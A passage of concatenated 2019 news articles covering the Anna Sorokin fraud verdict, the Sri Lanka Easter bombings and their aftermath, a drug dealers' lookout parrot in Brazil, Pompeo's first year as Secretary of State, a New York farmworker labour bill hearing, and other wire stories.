grand larceny and one count of attempted grand larceny. Her defence attorney, Todd Spodek, said Ms Sorokin could face between five and 15 years in prison on the most serious charge. She is scheduled to be sentenced on May 9. Anna Sorokin, charged with grand larceny for alleged multiple thefts totaling $275,000, appears in New York State Supreme Court. Source: AAP Ms Sorokin also faces deportation to Germany because authorities say she overstayed her visa. Using the name Anna Delvey, Ms Sorokin deceived friends and financial institutions into believing she had a fortune of about $95 million (60 million euros) overseas that would cover her high-end clothing, luxury hotel stays and trans-Atlantic travel. She claimed her father was a diplomat or an oil baron and went to extraordinary lengths to have others pay her way. Anna Sorokin poses for one of her many social media photos. Source: Instagram Prosecutors alleged that she promised one friend an all-expenses paid trip to Morocco but then stuck her with the $88,000 bill Ms Sorokin was acquitted of that charge. She also was accused of forging financial records in an application for a $31 million loan to fund a private arts club she wanted to build, complete with exhibitions, installations and pop-up shops, prosecutors said. She was denied the loan but persuaded one bank to lend her $140,000 she failed to repay. Ms Sorokin on trial on grand larceny and theft of services charges. Source: AP Mr Spodek insisted that Ms Sorokin planned to settle her six-figure debts and was merely "buying time". He portrayed her as an ambitious entrepreneur who had merely gotten in over her head but had no criminal intent. Mr Spodek said Ms Sorokin was "upset, as anyone would be," following the verdict. But he said he was pleased Ms Sorokin had been acquitted of one of the most serious charges in the indictment: attempting to steal more than $1 million (USD) from City National Bank. Story continues Anna Sorokin and her lawyer Todd Spodek confer during her trial as the jury deliberates at New York State Supreme Court. Source: AAP The verdict followed two days of often tedious deliberations, in which jurors asked for repeated clarification on the law and, in one note to the judge, indicated they had reached a "stalemate" due to a single uncompromising juror. In another note Thursday, jurors said they were "unable to reach a unanimous verdict because we fundamentally disagree." They reached their verdict less than two hours later. Do you have a story tip? Email: newsroomau@yahoonews.com. You can also follow us on Facebook, download the Yahoo News app from iTunes or Google Play and stay up to date with the latest news with Yahoos daily newsletter. Sign up here. Police have taken into custody a parrot belonging to drug dealers that was trained to tip its owners off about impending raids. The bird had been taught to alert crack dealers of police operations by repeatedly screaming, Mamae, policia! which is Portuguese for Mum, police!, local media reported. According to The Guardian, police in the Brazilian state of Piaui believe the bird must have been trained for this to interfere with police raids of crack dens. The parrot, who has not been named, was reportedly encountered by authorities as they approached the dealers one-storey home where it was perched on a windowless facade. As soon as the police got close he started shouting, the officer said. The parrot was taken into custody in northern Brazil on Monday. Source: GloboNews Since being seized on Monday afternoon local time, the parrot has kept his beak shut, a journalist from Brazilian news station Globo, who came face-to-face with the lime-green bird, reported. So far it hasnt made a sound completely silent, the reporter said, describing the animal as super obedient. A local vet who was called into examine the animal confirmed the parrot was not cooperating: Lots of police officers have come by and hes said nothing, he told the broadcaster. The parrot is not the first of its species to be utilised by drug dealers as a lookout. The parrot screamed 'Mum, the police!' in Portuguese as police approached the property of the drug dealers, authorities said. Source: AFP/Getty Images, file In Colombia in 2010, a parrot called Lorenzo was recorded by police yelling Run! Run! in Spanish before officers discovered the animal was guarding a large stockpile of guns and marijuana, The Associated Press reported at the time. You could say he was some sort of lookout, a Colombian officer told the news outlet. The parrot also isnt the first exotic animal to be implicated in Brazils drug trade, according to The Guardian. In 2008 police seized two alligators during a raid that police believed had been used by local gangsters to eat the bodies of their enemies. The father of one of the accused rejected this allegation though, saying that his sons gang had only tried to feed a corpse to the animal but it had refused to eat it. Story continues Do you have a story tip? Email: newsroomau@yahoonews.com. You can also follow us on Facebook, download the Yahoo News app from iTunes or Google Play and stay up to date with the latest news with Yahoos daily newsletter. Sign up here. The bald head of Slovak general Milan Rastislav Stefanik is pierced before hairs are inserted into his skull. Stefanik's face remains motionless, his blue eyes do not even blink. The late founder of the former Czechoslovakia is the latest figure to get the wax treatment from Roman Bajzik, a 48-year-old opera teacher who moonlights as Slovakia's very own Monsieur Tussaud. "I began creating wax sculptures back in 2002 as I wanted to see what my great-grandfather looked like," Bajzik said, at his two-room gallery in what was once the family mill. "I only had an old photo of him and was curious if I could turn him into something three-dimensional," he told AFP in Zavada, a central village of 600 residents, about 150 kilometres (around 90 miles) from the capital, Bratislava. Two decades later, there are now 23 motionless family members, royalty, folklore characters and important figures for tourists and schoolchildren to view. Figures on display past the creaky wooden front door at the mill-turned-gallery include the vampire Nosferatu, pope John Paul II and a mermaid from Slovak mythology. The wax museum is open by appointment only for an entry fee of two euros ($2.2). - 'Mute' - An experienced tenor who once sang at Austria's prestigious Salzburg Festival, Bajzik studied opera directing and now teaches operatic acting at the state conservatory in Bratislava. He likes silence when he sculpts though, usually at night to relax. "I have enough singing during the day. I'm pleased to be surrounded by my mute figures," he said. He lives alone in a high-rise flat in the capital where he has turned one room into a tiny studio whose shelves are filled with chicken mesh, cornstarch, construction foam, silica gel -- all used for wax modelling. Currently he is working on two figures: Stefanik is getting his hair done, while Empress Elisabeth of Austria, better known as Sissi, is undergoing some facial work. Bajzik consulted available photos and busts of Sissi to get her facial measurements just right. Once the clay head is done, he casts it in plaster and then pours hot wax in the mold before fine-tuning the details. - 'Lend a hand' - Wax is ideal for models because it looks similar to human skin, said Bajzik, whose mix notably includes beeswax and paraffin. "It has to be carefully blended as wax tends to crack when inserting hairs into the skull," he said. The hair comes from discount store wigs. Using a long needle, he attaches each hair into the wax skull. It is time-consuming, meticulous work. "It took me a while to investigate how to make a hole that isn't too large but could secure the hair. I watch instructional videos," he said with a laugh. Bajzik often transforms everyday items into the props he needs. When one of his kings required an imperial orb, Bajzik bought a Christmas bauble and added a small cross. He opens a drawer full of semi-finished hands, waiting for their turn to become the appendages of a king or queen. "Hands are finicky. I usually ask someone to 'lend a hand' and I mold it for a figure," Bajzik said. "John Paul II, for example, has my hands." Roman Bajzik, 48, is an opera teacher who makes wax models of royalty, family members and wellknown characters One of his wax models is Empress Elisabeth of Austria, better known as Sissi Milan Rastislav has modelled 23 wax figures that he displays at a museum in his family home village in central Slovakia Bajzik consulted available photos and busts of Sissi to get her facial measurements just right Bajzik has turned a room in his flat in Bratislava into a studio for crafting his wax models The vampire Nosferatu made from wax is also on display at the museum in Zavada, open by appointment Air strikes by Syrian regime ally Russia killed 10 civilians in the jihadist-held northwestern region of Idlib on Friday, a monitor said, as unsuccessful peace talks ended in Kazakhstan. The raids killed three civilians including a boy on the outskirts of the town of Kafranbel, and seven including a girl in the town of Tal Hawash, the Britain-based Syrian Observatory for Human Rights said. Syria's civil war has killed more than 370,000 people since it started in 2011, and endless rounds of negotiations have failed to stem the bloodshed. The Damascus regime has won back large parts of the country from rebels and jihadists since Russia intervened in the war in 2015. But several key areas remain beyond government reach, including Idlib, which is controlled by a former Al-Qaeda affiliate. Russia and rebel-backer Turkey in September inked a buffer zone deal to prevent a massive regime offensive on Idlib and nearby regions, close to the Turkish border. But the area, currently home to some three million people, has come under increasing bombardment since jihadist group Hayat Tahrir al-Sham took full control of it in January. The latest air raids came as two days of talks on ending the war in Syria -- sponsored by Russia, fellow regime ally Iran, and rebel backer Turkey -- concluded in Kazakhstan. In a statement released after the meeting, the three countries expressed concern about HTS extending its influence in Idlib. They stressed their "determination to continue cooperation in order to ultimately eliminate" HTS and the Islamic State group, the statement said. US-backed forces expelled IS from the last patch of their 2014 "caliphate" last month, but the jihadists still have a presence in the Syrian desert and sleeper cells elsewhere. - '200 dead since February' - The United Nations has expressed worry over the new wave of bombardment on the Idlib region, around which a buffer zone was never fully implemented. "I am alarmed by the recent escalation of violence and hostilities in and around the demilitarised zone in north-western Syria," the UN regional coordinator for Syria, Panos Moumtzis, said Thursday. "Since February, over 200 civilians have reportedly been killed in Idlib," he said. The fighting had also resulted in 120,000 people fleeing to areas closer to the Turkey border, he added. Syria's war has displaced millions since it began with the repression of anti-government protests in 2011. The talks in Kazakhstan Friday ended without notable progress on forming a committee to draw up a post-war constitution for the country. The meeting had broached the issue with UN Special Envoy for Syria, Geir Pedersen, but further talks in Geneva would be needed, the joint statement said. The parties were committed to "the establishment and the convening of the Constitutional Committee at the earliest in Geneva, holding the next round of consultations in Geneva" and supporting UN efforts, it read. But talks in Kazakhstan would also continue, with Syria's neighbours Iraq and Lebanon to be invited to the next round of talks in July. Jordan and the United States have observed the talks in the past. After years of failed UN-led negotiations to end the war, Russia has taken a lead role in diplomatic efforts through the so-called Astana process. The capital of Kazakhstan was called Astana until last month, when it was renamed Nur-Sultan after the country's outgoing president. Members of the "White Helmets" rescue group search the rubble of a collapsed building after a previous strike in Idlib's Jisr al-Shughur on Wednesday One of the Sri Lankan bombers came back from Australia after his post-graduate studies a changed man, his sister says. Abdul Lathief Jameel Mohamed studied at Swinburne University in Melbourne between 2009 and 2013, The Australian reported. Mohamed, suspected to be one of the ringleaders of the atrocity in Sri Lanka, was investigated by the Joint Counter Terrorism Team in 2014 because of his links to several suspects including Neil Prakash, the paper says. Samsul Hidaya, one of Mohamed's sisters, told the Daily Mail her brother became "a different man" in Australia and became withdrawn and intense. St. Sebastian's Church after it was bombed. Source: AP "My brother became deeply, deeply religious while he was in Australia," Ms Hidaya told the Daily Mail. "He was normal when he went to study in Britain, and normal when he came back. But after he did his postgraduate in Australia, he came back to Sri Lanka a different man. "He had a long beard and had lost his sense of humour. He became serious and withdrawn and would not even smile at anyone he didn't know, let alone laugh." Mohamed died when he detonated his suicide bomb on Easter Sunday near the New Tropical Inn guesthouse in Colombo, killing two people. Grim truth behind falling death toll Sri Lankan officials revised the death toll from Easter Sunday bombings down by about 100 on Thursday, blaming the difficulty in identifying body parts at bomb scenes for the earlier inaccurate number. The new official figure was 253, down from an earlier 359, Deputy Defence Minister Ruwan Wijewardene said. He blamed inaccurate data provided by morgues for the discrepancy. A priest conducts religious rituals during a mass burial for Easter Sunday bomb blast victims in Negombo. Source: AP Anil Jasinghe, the director general of Sri Lanka's health services, told Reuters any figure was an estimate due to the difficulty in identifying the many body parts. "It could be 250 or 260. I can't exactly say, he said. There are so many body parts and it is difficult to give a precise figure." The suicide bomb attacks on three churches and four hotels have exposed an intelligence failure, with accusations that warnings had not been acted on and feuds at the top levels of government had undermined security cooperation. Story continues Defence Secretary Hemasiri Fernando resigned over the failure to prevent the attacks, although he insisted on Thursday the authorities had been acting in response to intelligence tips from India warning of imminent attacks. Sri Lankan Army soldiers outside St Anthony's Shrine following the attacks. Source: AP "We were working on that. All those agencies were working on that," Mr Fernando told Reuters. He said he had resigned to take responsibility for institutions he ran, but said there had been no failure on his part. Police issued names and photographs of four men and three women wanted in connection with the attacks as bomb scares and security sweeps kept the country on edge. Most of the victims were Sri Lankans, although authorities have said at least 38 foreigners, including two Australians, were also killed many tourists sitting to breakfast at top-end hotels when the bombers struck. Britain on Thursday warned its nationals to avoid the country unless it was absolutely necessary as there could be more attacks. With Reuters and AAP Do you have a story tip? Email: newsroomau@yahoonews.com. You can also follow us on Facebook, download the Yahoo News app from iTunes or Google Play and stay up to date with the latest news with Yahoos daily newsletter. Sign up here. Fifteen people including six children died in a battle between Sri Lankan security forces and suicide bombers who blew themselves up in the latest fallout from the Easter attacks, police said Saturday. Three men set off explosives that killed themselves, three women and six children inside what was believed to be a jihadist hideout near the eastern town of Kalmunai. "Three other men, also believed to be suicide bombers, were found dead outside the house," police said in a statement. They were shot dead by security forces, police officials added. Security forces tried to storm the house late Friday and a one-hour long gun battle ensued before the explosions, a military official said. A civilian was also killed in the crossfire during the raid near the predominantly Muslim town. Hundreds of families later fled their homes. Police and troops have stepped up searches after the Islamic State group claimed responsibility for the attacks on three churches and three luxury hotels, which killed least 253 people and injured 500. Kalmunai is in the same region as the home town of the jihadist Zahran Hashim who founded the group accused of staging the attacks. Police and officials said a series of tip offs after the arrest of Hashim's driver, Mohamed Sharif Adam, in Hashim's home town of Kathankudy led them to the safe house. Officials said the driver provided information leading to a raid on Friday on a hideout south of Kathankudy where they believe Hashim and other bombers recorded a video pledging allegiance to Islamic State leader Abu Bakr al-Baghdadi before carrying out the Easter attacks. - Islamic State flag - Video on state television showed explosives, a generator, a drone and a large quantity of batteries inside the converted studio. An IS flag and uniforms similar to those worn by the eight fighters in the video were also found, police said. That in turn provided a tip off about the hideout in Kalmunai, 370 kilometres (230 miles) east of the capital. Authorities named Hashim's group, National Thowheeth Jama'ath (NTJ), as the perpetrators of the attacks. They announced Friday that he had been killed in the bombing of the Shangri-La hotel in Colombo. President Maithripala Sirisena used emergency powers to ban the NTJ and a splinter group identified as Jamathei Millathu Ibraheem (JMI), his office said in a statement Saturday. "All movable and immovable property of these two organisations will be confiscated," the statement said. The government is on the defensive over its failure to heed a foreign intelligence warning that NTJ was planning suicide bombings on churches. Police chief Pujith Jayasundara became the second high-ranking official to resign over the blunders Friday, after top defence ministry official Hemasiri Fernando stepped down. - Private prayers - Sri Lanka's Catholic leader, Cardinal Malcolm Ranjith, the archbishop of Colombo, has said he felt "betrayed" by the government's failure to act on the warnings. Prime Minister Ranil Wickremesinghe apologised on Friday. "We take collective responsibility and apologise to our fellow citizens for our failure to protect victims of these tragic events," he wrote on Twitter. Amidst fears of new attacks, the Roman Catholic church has suspended all public services across the country until security is guaranteed by the government. The archbishop, who has appealed to Catholics to stay home and say private prayers, is to hold a special mass at his official residence Sunday which will be broadcast live on television. Some groups were expected to hold public vigils in Colombo and Negombo, where St Sebastian's Church suffered some of the worst casualties in the bombings. The military have poured troops onto the streets to back up police as they search for suspects using newly granted powers under a state of emergency. At least 94 people are in custody, including a man believed to be the father of two of the bombers. Authorities warned the hunt would continue. "We now have info that there are about 140 people in Sri Lanka linked to the Islamic State. We can and we will eradicate all of them very soon," Sirisena said Friday, when he announced the new legislation to tackle extremist groups. - Tourism hit - Dozens of foreigners died in the attacks and the government has said it expects the number of overseas tourists to fall by 30 percent this year, at a cost of $1.5 billion in revenues. Finance Minister Mangala Samaraweera said the island -- which depends on tourism as a cornerstone of its economy -- could take up to two years to fully recover. The United States, Israel, Australia, India and Britain have all warned their citizens against visiting Sri Lanka. Sri Lankan security personnel display seized items after a raid on what was believed to be a jihadist safe house Updated graphic on the April 21 Sri Lanka attacks, which left 253 people dead. The government is on the defensive over its failure to heed a foreign intelligence warning that a local Islamist group was planning suicide bombings on churches At least 94 people are in custody, including a man believed to be the father of two of the bombers Israel, Australia, India, the US and Britain have warned their citizens against visiting Sri Lanka, in a blow for the country's burgeoning tourism industry Brusque and resolute in public, US Secretary of State Mike Pompeo has succeeded in a task of utmost delicacy -- pleasing President Donald Trump, even while being forced to mollify America's often perturbed allies. Pompeo took office on April 26 last year, immediately flying off to Europe and the Middle East as he vowed to give the State Department back its "swagger" after his hapless predecessor Rex Tillerson. A full year on the job is no small milestone in the Trump administration, with the mogul turned president notoriously falling out with much of his original team -- so much that Trump has since ridiculed Tillerson on Twitter as "dumb as a rock." Pompeo, who had first been CIA director, has been the rare Trump official to stay consistently in his good graces, loyally defending his capricious boss's every decision both to the cameras and startled allies, even after advocating other approaches internally. While occasionally curt with reporters, more than once denouncing unwelcome questions as "ridiculous," the 55-year-old former soldier and lawyer possesses an intellectual self-confidence that has kept him at the forefront and helped him build his own political capital as the Trump administration shifts US foreign policy sharply to the right. An evangelical Christian, Pompeo has frequently highlighted his faith, starting a major speech on the Middle East in Cairo by explaining how he keeps the Bible open on his desk "to remind me of God and His Word and The Truth." And in a comment that drew wide attention, Pompeo, asked by an evangelical television network if Trump had been sent by God to defend Israel, said: "As a Christian, I certainly believe that's possible." - 'Secretary for Iran and North Korea' - Every US secretary of state identifies priorities, but for Pompeo the focus has been especially stark, with some diplomats dubbing him the "secretary for Iran and North Korea." Pompeo flew four times to Pyongyang last year, turning once-soaring tensions into a diplomatic opening that saw two landmark summits between Trump and the authoritarian state's young leader Kim Jong Un. There is no such outreach to Iran. Days after Pompeo took office, Trump pulled out of an international deal negotiated by his predecessor, Barack Obama, under which Iran substantially scaled back its nuclear program in return for promises of sanctions relief. Pompeo laid out 12 demands which Iran was certain to reject and has steadily ramped up pressure, most recently demanding that all countries stop buying Iranian oil or risk sanctions themselves. Neither policy has guaranteed success. North Korea last week called Pompeo "reckless" and demanded he be excluded from future talks after he apparently encouraged Trump, who has a professed sweet spot for Kim, to hold firm before a comprehensive agreement. On Iran, Pompeo has hailed the country's deep economic pain but the clerical regime shows no signs of budging, with even moderates increasingly questioning why Tehran negotiated with Washington. Other Western powers still back the accord and a European diplomat, speaking on condition of anonymity, said he had never seen trans-Atlantic relations so poor, even in the runup to the Iraq invasion. "I think there is obviously the wish to put Iran to default, to make sure Iran will violate its nuclear commitment and then say to the world, 'Iran is a threat!'" the diplomat said. "It's a rather cynical plan and an irresponsible plan." - Partisan roots - Despite his elite education at West Point and Harvard Law, Pompeo emerged from obscurity as a businessman in Kansas when he was elected to Congress in the right-wing Tea Party wave of 2010. In Washington, he ferociously attacked an earlier secretary of state, Hillary Clinton, for not preventing a deadly attack by Islamist extremists on the US consulate in Benghazi. His outspokenness put him on the conservative media circuit and brought him to the attention of Trump. But he has also become perhaps the most partisan and polarizing secretary of state in recent memory, with Pompeo openly deriding Obama in speeches and Democrats eager to hit back over what they saw as disrespectful treatment of Clinton. Pompeo has nonetheless tried to woo the State Department, lifting a hiring freeze by Tillerson that had disheartened diplomats. Brett Bruen, a former US diplomat who served as director of global engagement in the Obama White House, said that Pompeo's promises initially boosted morale. But while Tillerson tried to put a positive spin on Trump's unpopular policies, Pompeo "just parades them out with the gusto and glee of a drill sergeant," said Bruen, now president of the Global Situation Room consulting firm. "He came in with talk of restoring State to its rightful place. Many of those promises have been revealed to be more swagger than substance," Bruen said. Pompeo's frequent interviews and travels back to Kansas have fueled speculation he will return either to run for senator next year or governor in 2022 -- and maybe lay the groundwork for a presidential run in 2024. Asked recently in Kansas how long Trump will keep him on, Pompeo replied with a rare moment of levity: "I'm going to be there until he tweets me out of office." US Secretary of State Mike Pompeo is marking one year serving in the turbulent Trump administration Secretary of State Mike Pompeo meets North Korean leader Kim Jong Un on an October 2018 visit to Pyongyang US Secretary of State Mike Pompeo meets with Crown Prince Mohammed bin Salman during a visit to close ally Saudi Arabia in January 2019 The United States urged Yemen's Huthi rebels to end mistreatment of members of the Baha'i faith, as the community on Thursday criticized as "absurd" prosecutor's allegations against a believer sentenced to death. The Baha'i community said that Hamed bin Haydara, who has been detained since 2013, will face an appeal hearing on Tuesday in the Huthi-controlled capital Sanaa. The US State Department said it was "deeply concerned" that the Iranian-linked rebels have targeted dozens of Baha'is and voiced alarm over accounts that Haydara has endured "physical and psychological torture." "This persistent pattern of vilification, oppression and mistreatment by the Huthis of Baha'is in Yemen must end," State Department spokeswoman Morgan Ortagus said in a statement. The Baha'i community on Thursday released what it said was the response to Haydara's appeal, with the prosecutor accusing the faith of being founded on "satanic thought." It said that Haydara has also been accused of seeking to create a separate Baha'i homeland on the Yemeni island of Socotra. "The prosecutor's arguments do not address the merits of Mr. Haydara's appeal and instead make absurd, wide-ranging accusations that are not based in law or in fact," said Bani Dugal, principal representative of the Baha'i International Community to the United Nations. He charged that the prosecutor was following the tactics of Iran's Shiite clerical regime, which allows freedom of religion to several minorities but targets the Bahai's, whose founder the Baha'u'llah was Iranian born in 1817. The Baha'i faith calls for unity among religions and equality between men and women. Baha'is consider the Baha'u'llah to be a prophet, a sharp contrast from the orthodox Islamic view that Mohammed was God's final messenger. The Huthis control vast swathes of Yemen despite a US-backed military campaign led by Saudi Arabia, which has contributed to what the United Nations calls the world's worst humanitarian crisis. Motorcyclists ride in November 2018 through Yemen's capital Sanaa, where the Baha'i community says one of its members faces an appeal of a death sentence A quarter century ago a ragtag group of New York kids that would become the iconic Wu-Tang Clan banded together, betting that mainstream music might just embrace hardcore hip hop from the streets. Gifted with an ear for raw, menacing lyrics and fueled by a desire to rise above their poverty-mired peers, the nine-member collective ascended from New York's then particularly rough outer boroughs to become one of the most influential rap acts in history. Their hardscrabble journey that paved the way for dozens of successful hip hop artists is the subject of the four-part docu-series "Wu-Tang Clan: Of Mics and Men" -- a riff on the American classic "Of Mice and Men," the story of itinerant workers seeking financial stability -- set to air on the US cable network Showtime next month. "To see where they came from, how they did it, is no small feat," said director Sacha Jenkins at the production's New York premiere Thursday night at the Tribeca Film Festival, after it screened at Sundance earlier this year. "Now more than ever, people need to pay attention to what's been going on in the inner city," Jenkins told AFP. "It's 25 years later and not much has changed. And that's why Wu-Tang's music still resonates." - 'Our heroes' - Interspersing interviews with rare early footage, the series chronicles their origins as hustlers and drug dealers for whom music ultimately offered an escape from the revolving door of incarceration. For RZA -- Wu-Tang's mastermind and de-facto leader -- the deep relief of being cleared at trial of attempted murder opened his eyes to a different path. In 1992 he formed the group with his two cousins and a handful of other friends, who claimed Staten Island as their territory and named themselves the Wu-Tang Clan after the 1983 kung-fu movie "Shaolin and the Wu Tang," from which they drew samples for their landmark first album. "For us, high school dropouts, guys that was forced to be street pharmacists... this is all we wanted," RZA told AFP. "Instead of our kids being those kids that's out there causin' crime, and shooting -- no, no. Our kids are out there making the world more positive." For civil rights activist Al Sharpton, the Wu-Tang Clan is emblematic of struggles faced by minorities and the impoverished, offering hope in divisive times. "Their story is our story. Ain't nobody manufactured them, nobody created them. They came from the bottom and represented the bottom," Sharpton told AFP. "These are our heroes." - 'Wu-Tang is the world' - In one endearing scene the docu-series watches Method Man -- considered the brain behind some of the group's catchiest lines -- take the ferry back to his former job cleaning at the Statue of Liberty, where he catches his boss up on his success. "I worked here for years and never went to go see this woman!" the 48-year-old performer says as he marvels at the monument. "I guess we got lucky," he says later on in the show, his quivering voice betraying emotion. "I guess we all did." Speaking to AFP on the red carpet before the screening, member U-God noted the significance of the docu-series' prominent spot at Tribeca, a quintessentially New York festival that has long aimed to promote diversity. "I've spilled my blood in New York City," the 48-year-old rapper known for his brusque yet smooth flow said. "I am New York City. We were all born in New York City, we all raised in New York City, most of us will probably die in New York City." "But when we go we gonna take New York with us." Thursday night saw a rare gathering of the complete Clan, with all living members along with the rapper son of the Ol' Dirty Bastard -- who died of a drug overdose in 2004 -- following the screening with a raucous performance including hits from their iconic breakthrough album "Enter the Wu-Tang (36 Chambers)." "They're everything, Wu-Tang is the world," another venerable New York rapper, Nas, told AFP on the red carpet. "I've always been a fan, so I'm just blessed to be here and to see this happen." The crowd roared as the group performed its hit "C.R.E.A.M" -- short for "cash rules everything around me" -- in which members narrate their journeys from delinquency-by-necessity to fame. Asked by AFP if cash still rules everything around him, RZA didn't miss a beat. "It rules everything around me," the rapper laughed. "But it don't rule me." Members of the iconic Wu-Tang Clan reuinted for the New York premiere of a new docu-series on their rise to fame Robert Diggs, better known by his rap name RZA, attends the New York premiere of Showtime's "Wu-Tang Clan: Of Mics And Men" at the Tribeca Film Festival Interspersing interviews with rare footage from the group's nascent days, the series chronicles the group's early years as hustlers and drug dealers for whom music ultimately offered an escape from the revolving door of incarceration Young Dirty Bastard (L), the son of the late Wu-Tang Clan member Ol' Dirty Bastard, and Reverend Al Sharpton attend the New York premiere of Showtime's "Wu-Tang Clan: Of Mics And Men" Rapper Nas joined his fellow New Yorkers of the Wu-Tang Clan for a screening of their new docu-series at the Tribeca Film Festival In 1992 RZA formed the group with his two cousins and a handful of other friends, naming themselves the Wu-Tang Clan after the 1983 kung-fu movie "Shaolin and the Wu Tang," from which they drew samples for their landmark first album MORRISVILLE Matthew and Juanita Critz, first-generation farmers in Madison County, grow apples, blueberries, Christmas trees, pumpkins and strawberries. They provide employees with free housing, free transportation, access to phone and internet service and a $13.25-an-hour wage. But if the Farmworkers Fair Labor Practices Act becomes law, the Critzes worry about their future. The farm labor bill would require laborers to receive overtime pay if they work more than eight hours a day or 40 hours a week. "We can't absorb this extra cost," Matthew Critz said. "I can't pay $20 an hour to pick pumpkins and compete with Canadians." Critz was one of more than 50 witnesses who testified Thursday at a hearing on the Farmworkers Fair Labor Practices Act. The hearing, held at SUNY Morrisville, was organized by state Sen. Jen Metzger, who chairs the Senate Agriculture Committee, and state Sen. Jessica Ramos, the bill's sponsor. State Sen. Rachel May, who represents Madison County, and state Sen. Velmanette Montgomery also attended the hearing. The Farmworkers Fair Labor Practices Act would extend certain rights to farm laborers, including collective bargaining, overtime pay, the right to form a union and at least one day off each work week. Farmworkers and advocates have called for reform due to mistreatment at some farms. Workers have experienced retaliation if they complain, theft of wages and poor living conditions. Crispin Hernandez, a member of the Workers Center of Central New York and former laborer at a North Country dairy farm, shared his account of the poor treatment he received while employed at the farm. He was involved in an accident at the farm and was injured, but his employer didn't take him to the hospital for treatment. "We want to be recognized," Hernandez said through a translator. "We are all human beings. This is why it's important." Many of the farmers who spoke at the hearing endorsed several provisions in the Farmworkers Fair Labor Practices Act. They also highlighted the benefits offered to workers at their farms. Michael McMahon of E-Z Acres in Cortland County agreed that employees shouldn't work more than six days a week and supports offering paid time off. He didn't object to granting farmworkers collective bargaining rights. His concern, like Critz's, is the overtime pay mandate. If E-Z Acres is required to pay overtime, he estimated it would add at least $95,000 in labor costs each year. "This provision has the potential to cause great harm to an already suffering farm economy," McMahon said. Other farmers, though, believe collective bargaining could threaten their businesses. Karin Reeves, owner of Reeves Farms in Baldwinsville, said a potential strike during the growing season "would essentially hold us hostage." She urged lawmakers to amend the bill by adding a no-strike clause that would grant farmworkers collective bargaining rights, but would prohibit work stoppages. There were several farmworkers who testified at the hearing, most of whom joined their employers in opposing the farm labor bill. They feel the bill, especially the overtime pay provision, will adversely affect their finances because farms would avoid overtime by scheduling them for no more than 40 hours a week. Leandro Mateos, who has worked at Torrey Farms in western New York for 30 years, said he works 70 to 80 hours a week during the harvesting season. The farm's housing is in "very good condition," he continued, and the Torreys offer a comprehensive benefits package, including health insurance, paid time off and a 401(k) plan. While working at the farm, Mateos said he was able to pay for his son's college tuition at the University of Rochester. "With this new law, reduced hours per week is going to hurt my family," he added. Proponents of the bill and other farmworkers argued that the farm labor bill is necessary to address the "bad apples" in agriculture. Gabriella Quintanilla, western New York coordinator for the Rural and Migrant Ministry, said farmworkers' paychecks have been stolen and women laborers were harassed at some farms. Offering farmworkers the ability to collectively bargain, she continued, would allow them to join a union that protects them. But that's not the only reason she cited in her case for passing the Farmworkers Fair Labor Practices Act. "It's about human dignity," she said. Angela Cornell, a law professor at Cornell University and member of the faculty steering committee for the Cornell Farmworker Program, disputed claims that the bill would hurt New York agriculture. She acknowledged farmers' concerns about certain provisions, but doesn't believe it would lead workers to seek employment outside of the state. Cornell also disagreed with a few farmers who said that the state should defer to the federal government. Some farmers believe it would preserve competitive balance if the federal government enacted a law that granted farmworkers various labor rights. These farmers worry that if the New York proposal becomes law, they won't be able to compete with out-of-state producers. "We should not wait for the federal level to pass an immigration bill in order to provide these basic labor protections for our farmworkers in New York," she said. The Farmworkers Fair Labor Practices Act could be considered by the end of the legislative session, which concludes in June. The state Assembly, which has been controlled by Democrats, has passed the bill before. But it hasn't received a vote in the state Senate. Until this year, Republicans held the majority in the upper chamber. Metzger noted that there hasn't been a hearing on the bill in nearly a decade. There are two more hearings planned. The next forum is Friday at the Suffolk County Legislature on Long Island. The final hearing will be held Thursday, May 2 at SUNY Sullivan in the Hudson Valley. Online producer Robert Harding can be reached at (315) 282-2220 or robert.harding@lee.net. Follow him on Twitter @robertharding. Love 0 Funny 0 Wow 0 Sad 0 Angry 2 As the state Board of Parole faces criticism for granting parole to Judith Clark, state Sen. Bob Antonacci authored a bill that would alter the decision-making process. Antonacci, R-Onondaga, proposes that the board must have unanimous agreement to grant parole to an inmate. Under the existing process, a majority vote of the three-member panel is required to release an inmate on parole. "It is imperative that the legislature do everything in its power to ensure the highest level of scrutiny is exercised when those who commit these serious acts receive consideration for parole," Antonacci said. Republican lawmakers have criticized parole decisions before, but Clark's case received more attention due to her crime. She was the getaway driver in the robbery of a Brink's armored truck in 1981. Two police officers and a Brink's guard were killed. Clark was convicted and sentenced to 75 years to life in prison. In 2016, Clark's sentence was commuted by Gov. Andrew Cuomo an action that made her eligible for parole. Her first parole hearing was in 2017. The board denied her request. Following her latest parole hearing in early April, the three-member panel voted 2-1 to grant Clark parole. She will be released from prison by May 15. The New York Civil Liberties Union praised the board's decision. Donna Lieberman, the group's executive director, said more than 2,000 people, including elected officials and members of law enforcement, supported Clark's release. "Our correctional system does not exist to punish people, and the fundamental premise of our parole system is to allow people to repair their lives," Lieberman said. "[T]he parole board delivered an important message to the entire country, and showed that New York stands for justice and recognizes that those incarcerated should be given a chance to return to society." Antonacci's criticism of the parole board isn't limited to the Clark case. He also referred to the release of Herman Bell, who served more than four decades in prison for killing two New York City police officers. Bell was granted parole in March 2018. He was released from prison one month later. "The release of individuals convicted of serious crimes who showed no regard for the value of human life demonstrates a blatant disregard for the victims and their families," Antonacci said. "There is no greater tribute that we can pay these slain officers and victims of crime than ensuring those individuals are held accountable." Antonacci's bill has been referred to the Senate Crime Victims, Crime and Correction Committee. Online producer Robert Harding can be reached at (315) 282-2220 or robert.harding@lee.net. Follow him on Twitter @robertharding. Love 0 Funny 0 Wow 1 Sad 0 Angry 0 With a career in public health that began with the U.S. Army in Vietnam, Auburn native Paul Giannone has seen firsthand how governments, international charities and other organizations can fail those who need help than most. Unfortunately according to Giannone in his new book, A Life in Dark Places the experience he gained working with refugees in places like Vietnam, Sudan and Pakistan is just as relevant today as it was years ago. The book is a rewrite of Giannones 2011 piece, Dear Kara: One Mans Journey From War to War. Dissatisfied with the way it was edited, Giannone began working with a former journalist to do it right this time, partly through the addition of new chapters and a new introduction and epilogue. On the web For more information on A Life in Dark Places, visit the website of its publisher, Torch Flame Books, at torchflamebooks.com. The book is also available on Amazon and most major retailers. The book details much of Giannones work in public health across nearly 40 countries, which included refugee relief, disaster response, AIDS/HIV interventions and research, institutional capacity building and more. One of the new portions deals with Giannones time in the Balkans assisting refugees fleeing the Syrian Civil War. In 2015, Giannone got a call from a friend at Christmastime asking to help. Although he was retired by then, Giannone couldnt refuse after he was told that the organization hed be helping worked primarily with women and children. If its women and children, Im going to do something if I can, Giannone said. What Giannone saw there reflected his previous experiences so much that it inspired the chapters name: 